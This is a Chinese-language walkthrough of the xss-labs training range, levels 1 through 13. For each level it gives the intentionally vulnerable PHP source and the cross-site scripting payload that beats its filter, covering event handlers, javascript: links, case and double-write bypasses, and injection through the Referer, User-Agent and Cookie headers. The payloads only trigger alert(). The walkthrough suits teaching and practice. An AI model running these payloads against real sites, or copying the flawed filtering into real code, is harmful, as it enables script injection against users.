目錄
1. 準備靶場
2. PASS
1. Level 1:無過濾
源碼:
2. level2:轉HTML實體
htmlspecialchars簡介:
源碼
PASS
3. level3:轉HTML深入
源碼:
PASS
4. level4:過濾<>
源碼:
PASS:
5. level5:過濾on
源碼:
PASS:
6. level6:大小寫繞過
源碼:
PASS:
7. level7:雙寫繞過
源碼:
PASS:
8. level8:Unicode編碼
源碼:
PASS:
9. level9:http://
源碼:
PASS:
10. level10:type屬性
源碼:
PASS:
11. level11:Referer
源碼:
PASS:
12. level12:User-Agent
源碼:
PASS:
13. level13:Cookie
源碼:
PASS:
1. 準備靶場
xss-labs-all
這是一個很簡單的xss
入門級靶場
2. PASS
1. Level 1:無過濾
這一關很簡單,因為它沒有做任何過濾,雖然很簡單,但是在實際中確實很容易出現。
源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level2.php?keyword=test"; }</script><title>歡迎來到level1</title></head><body><h1 align=center>歡迎來到level1</h1><?php ini_set("display_errors", 0);$str = $_GET["name"];echo "<h2 align=center>歡迎用戶".$str."</h2>";?><center><img src=level1.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>?
PASS:<script>alert(1)</script>
PA
SS:
由于沒有做任何過濾,所以使用什么標簽都可以pass
,a
、img
、svg
等都行。如下:
<script>alert(1)</script>
?<img src=1 onerror=alert(1)>
?<svg/onload=alert(1)>
2. level2:轉HTML實體
這一關使用了htmlspecialchars
函數,把特殊字符轉換為HTML實體,也就是說<>
會被轉換,我們知道,javascript:
協議一旦被編碼就不能識別,不能識別就不能觸發事件。
htmlspecialchars
簡介:
htmlspecialchars
函數會將特殊字符轉換為 HTML 實體,以防止跨站腳本攻擊(XSS)并確保這些字符在 HTML 中正確顯示。具體來說,它會轉換以下字符:
&
轉換為&
<
轉換為<
>
轉換為>
"
轉換為"
'
轉換為'
(取決于使用的標志)
源碼
?<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level3.php?writing=wait"; }</script><title>歡迎來到level2</title></head><body><h1 align=center>歡迎來到level2</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form action=level2.php method=GET><input name=keyword value="'.$str.'"><input type=submit name=submit value="搜索"/></form></center>';?><center><img src=level2.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>
PASS
那么這一關怎么處理呢,兩種辦法
一、閉合"
二、閉合>
,但是要注意,閉合>
的時候還需要配合一下"
如下:
雙引號:"
aa" onclick="alert(1)
尖括號:>
?aa"><scropt>alert(1)</script>
3. level3:轉HTML深入
這一關也是使用htmlspecialchars
函數,把特殊字符轉換為HTML實體。
不同的是更深入一層,這里引入該函數的一些屬性:
這里看出,如果它設置了對應屬性的話,引號就會被轉換,那我們來試一下到底轉換的是哪個引號還是引號全部轉換。
源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level4.php?keyword=try harder!"; }</script><title>歡迎來到level3</title></head><body><h1 align=center>歡迎來到level3</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center><form action=level3.php method=GET><input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /></form></center>";?><center><img src=level3.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>
PASS
嘗試"
?aa" onclick="alert(1)
可以明顯看到不行,這里alert
都沒有是識別,說明針對雙引號的屬性被設置了,再試一試單引號。
嘗試'
?aa' onclick='alert(1)
這里成功了,那就說明,這里沒有設置過濾'
的屬性。
除此之外,這一關還有一種做法,如下:
在JavaScript
中有一個函數onfocus
,用于輸入框input,select,a
標簽獲得焦點的事件
所以這樣構造:
?'?onfocus=javascript:alert()?'
也是可以的。
4. level4:過濾<>
這一關吧,本意是不讓我們閉合<>
,所以其他方法就可以完成了。但是這一關折射出的問題其實是與用戶的交互。對于這一關而言,需要與用戶交互才會有漏洞,這樣的漏洞危害性并不高。
而且仔細分析就會發現,僅使用單引號是不行的,因為它用的是"
包住'
了。
源碼:
?<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level5.php?keyword=find a way out!"; }</script><title>歡迎來到level4</title></head><body><h1 align=center>歡迎來到level4</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(">","",$str);$str3=str_replace("<","",$str2);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form action=level4.php method=GET><input name=keyword value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level4.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>";?></body></html>
PASS:
非<>
:
?aa" onclick="alert(1)
非用戶交互:
?aa"autofocus onfocus="alert(1)
5. level5:過濾on
這一關把on
事件都過濾了,也就是說這里不能使用on
了,而且使用strtolower
函數預防大小寫,那怎么辦呢。
那么我們就換一個不帶on
但是也能達到我們目的的標簽,比如a
標簽。
我們把POC
插入帶a
標簽的href
屬性中,然后點擊我們設置的目標,就可以了。
源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level6.php?keyword=break it out!"; }</script><title>歡迎來到level5</title></head><body><h1 align=center>歡迎來到level5</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form action=level5.php method=GET><input name=keyword value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level5.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>";?></body></html>
PASS:
?a"><a href="javascript:alert(1)">click</a>
6. level6:大小寫繞過
這一關把a、img、svg、<script
等進行了過濾,基本上我們在前面使用過的方法都使用不了。但是就跟SQL注入一樣,這里的過濾并不包含大寫,所以我們可以使用大小寫繞過。
源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level7.php?keyword=move up!"; }</script><title>歡迎來到level6</title></head><body><h1 align=center>歡迎來到level6</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form action=level6.php method=GET><input name=keyword value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level6.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>";?></body></html>
PASS:
?a"><ScRiPt>alert(1)</ScRiPt>
這里只演示了一種,其實還有還幾種構造語句,如下:
?腳本注入a"><SCRIPT>alert()</SCRIPT><"焦點事件a"ONDOCUS=javascript:alert()"a標簽href屬性的a"><a?HREF=javascript:alert()>x</a><"
7. level7:雙寫繞過
這一關在上一關的基礎上把大小寫也過濾掉了,也就是說我們是真的不能使用之前用過的方法了。
那么怎么辦呢? 在這一關我們可以嘗試一下雙寫繞過,以為我們分析一下會發現,它雖然會過濾很多條件,但是僅僅是單次攔截,并不是多次,所以雙寫繞過是可以的
源碼:
?<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level8.php?keyword=nice try!"; }</script><title>歡迎來到level7</title></head><body><h1 align=center>歡迎來到level7</h1><?php ini_set("display_errors", 0);$str =strtolower( $_GET["keyword"]); ?大小寫不行$str2=str_replace("script","",$str); ?script不行$str3=str_replace("on","",$str2); ? ? 需要on的標簽不行$str4=str_replace("src","",$str3); ? ?img標簽不行$str5=str_replace("data","",$str4); ? $str6=str_replace("href","",$str5); ? a標簽不行echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form action=level7.php method=GET><input name=keyword value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level7.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>";?></body></html>
PASS:
?a"><scrscriptipt>alert(1)</scrscriptipt>
8. level8:Unicode編碼
這一關,看著過濾法則,似乎含嚴格,幾乎把常規的手段都過濾了,什么大小寫、雙寫、標簽...都不行。怎么辦?
這一關有一個友情鏈接
那說明我們的輸入的接收屬性是a
標簽的href
屬性,而這個屬性會自動對Unicode
編碼進行解碼,那如果我們把POC
進行Unicode
編碼,然后當做URL
寫入href
,那么隨著href
對Unicode
的解碼,我們的POC
不就能夠識別了嗎。
這一關本質是對編碼知識的考查,對編碼越了解就越簡單。
源碼:
?<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level9.php?keyword=not bad!"; }</script><title>歡迎來到level8</title></head><body><h1 align=center>歡迎來到level8</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','"',$str6);echo '<center><form action=level8.php method=GET><input name=keyword value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情鏈接 /></form></center>';?><?phpecho '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';?><center><img src=level8.jpg></center><?php echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";?></body></html>
PASS:
?javascript:alert()
?javascript:alert()
9. level9:http://
在上一關我們投機取巧,直接使用編碼拿下POC
,但是在這一關不行了,這一關加了一個硬性條件,就是必須要有http://
,沒有它不行。
那我們可以嘗試在編碼的末尾加上它。
源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level10.php?keyword=well done!"; }</script><title>歡迎來到level9</title></head><body><h1 align=center>歡迎來到level9</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','"',$str6);echo '<center><form action=level9.php method=GET><input name=keyword value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情鏈接 /></form></center>';?><?phpif(false===strpos($str7,'http://')){echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';}else{echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';}?><center><img src=level9.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";?></body></html>
PASS:
?javascript:alert()/*?<http://>?*/?或者?javascript:alert('http://')
10. level10:type屬性
這一關把input
標簽隱藏掉了,雖然可以使用GET
型輸入把POC
傳進去,但是觸發不了,所以要想辦法把input
標簽拿出來才行
源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level11.php?keyword=good job!"; }</script><title>歡迎來到level10</title></head><body><h1 align=center>歡迎來到level10</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level10.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>
PASS:
?t_sort=a" onclick=alert(1) type="text"
通過改變type
屬性的方法,把input
標簽拿出來。
11. level11:Referer
這一關在上一關的基礎上加上了一個過濾,所以直接使用上一關的方法是不行的。還要配合其他方法。
這里就引入Referer
這個屬性了,在html
里它表示用戶的來源。
這里建議使用Firefox
瀏覽器來做,它的一個插件HackBar
很適合做這一關。
源碼:
?<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level12.php?keyword=good job!"; }</script><title>歡迎來到level11</title></head><body><h1 align=center>歡迎來到level11</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ref" value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level11.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>
PASS:
?a" onclick=alert(1) type="text"
12. level12:User-Agent
這一關就是修改User-Agent屬性。跟上一關的原理一樣。
源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level13.php?keyword=good job!"; }</script><title>歡迎來到level12</title></head><body><h1 align=center>歡迎來到level12</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua" value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level12.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>
PASS:
?a" onclick=alert(1) type="text"
13. level13:Cookie
同理,利用Cookie。
源碼:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() ?{ ? ? confirm("完成的不錯!");window.location.href="level14.php"; }</script><title>歡迎來到level13</title></head><body><h1 align=center>歡迎來到level13</h1><?php setcookie("user", "call me maybe?", time()+3600);ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_COOKIE["user"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center><form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook" value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level13.png></center><?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?></body></html>
PASS:
?user=a" onclick=alert(1) type="text"
這個靶場后面還有機關,但是涉及的技術是flash,已經被淘汰了,所以就做到這里吧。